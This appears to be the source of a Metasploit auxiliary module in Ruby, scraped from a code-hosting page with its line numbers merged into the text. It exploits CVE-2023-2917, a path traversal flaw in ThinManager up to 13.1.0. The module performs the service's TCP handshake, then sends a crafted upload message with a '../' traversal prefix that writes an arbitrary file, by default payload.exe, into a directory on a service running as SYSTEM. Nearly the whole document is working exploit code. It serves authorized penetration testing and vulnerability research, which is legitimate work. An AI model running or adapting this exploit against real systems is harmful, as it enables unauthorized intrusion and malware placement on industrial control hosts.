Path: blob/master/modules/auxiliary/admin/networking/thinmanager_traversal_upload2.rb
19579 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8prepend Msf::Exploit::Remote::AutoCheck910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ThinManager Path Traversal (CVE-2023-2917) Arbitrary File Upload',15'Description' => %q{16This module exploits a path traversal vulnerability (CVE-2023-2917) in17ThinManager <= v13.1.0 to upload arbitrary files to the target system.18The affected service listens by default on TCP port 2031 and runs in the19context of NT AUTHORITY\SYSTEM.20},21'Author' => [22'Michael Heinzl', # MSF Module23'Tenable' # Discovery and PoC24],25'License' => MSF_LICENSE,26'References' => [27['CVE', '2023-2917'],28['URL', 'https://www.tenable.com/security/research/tra-2023-28'],29['URL', 'https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471']30],31'DisclosureDate' => '2023-08-17',32'DefaultOptions' => {33'RPORT' => 2031,34'SSL' => false35},36'Notes' => {37'Stability' => [CRASH_SAFE],38'Reliability' => [],39'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]40}41)42)4344register_options(45[46OptPath.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),47OptString.new('RFILE', [false, 'The file path to store the file on the remote system.', '/Program Files/Rockwell Software/ThinManager/payload.exe']),48OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])49]50)51end5253def check54begin55connect56rescue Rex::ConnectionTimeout57print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")58return Exploit::CheckCode::Unknown59end6061vprint_status('Sending handshake...')62handshake = [0x100].pack('V')63vprint_status(Rex::Text.to_hex_dump(handshake))64sock.put(handshake)6566res = sock.get_once(4096, 5)67expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b6869if res&.start_with?(expected_header)70vprint_status('Received handshake response.')71vprint_status(Rex::Text.to_hex_dump(res))72disconnect73return Exploit::CheckCode::Detected74elsif res75vprint_status('Received unexpected handshake response:')76vprint_status(Rex::Text.to_hex_dump(res))77disconnect78return Exploit::CheckCode::Safe79else80disconnect81return Exploit::CheckCode::Unknown('No handshake response received.')82end83end8485def mk_msg(msg_type, flags, data)86dlen = data.length87hdr = [msg_type, flags, dlen].pack('nnN')88hdr + data89end9091def run92begin93connect94rescue Rex::ConnectionTimeout => e95fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")96end9798print_status('Sending handshake...')99handshake = [0x100].pack('V')100vprint_status(Rex::Text.to_hex_dump(handshake))101sock.put(handshake)102103res = sock.get_once(4096, 5)104if res105print_status('Received handshake response.')106vprint_status(Rex::Text.to_hex_dump(res))107else108print_error('No handshake response received.')109fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")110end111112lfile = datastore['LFILE']113rfile = datastore['RFILE']114file_data = ::File.binread(lfile)115print_status("Read #{file_data.length} bytes from #{lfile}")116117traversal = '../' * datastore['DEPTH']118119full_path = (traversal + rfile).force_encoding('ASCII-8BIT')120file_data.force_encoding('ASCII-8BIT')121122begin123data = [0xaa].pack('N')124data << [0xbb].pack('N')125data << full_path + "\x00"126data << "file_type\x00"127data << "unk_str3\x00"128data << "unk_str4\x00"129data << [file_data.length].pack('N')130data << [file_data.length].pack('N')131data << file_data132data.force_encoding('ASCII-8BIT')133134req = mk_msg(38, 0x0021, data)135rescue StandardError => e136fail_with(Failure::BadConfig, "Failed to build upload request: #{e.class} - #{e.message}")137end138139print_status("Uploading #{lfile} as #{rfile} on the remote host...")140141print_status("Upload request length: #{req.length} bytes")142vprint_status("Upload request:\n#{Rex::Text.to_hex_dump(req)}")143144sock.put(req)145146begin147res = sock.get_once(4096, 5)148if res149print_good('Received response from target:')150vprint_status(Rex::Text.to_hex_dump(res))151else152print_warning('No response received after upload.')153end154rescue ::EOFError, ::Timeout::Error => e155print_error("Socket error: #{e.class} - #{e.message}")156end157158disconnect159print_good("Upload process completed. Check if '#{rfile}' exists on the target.")160end161162end163164165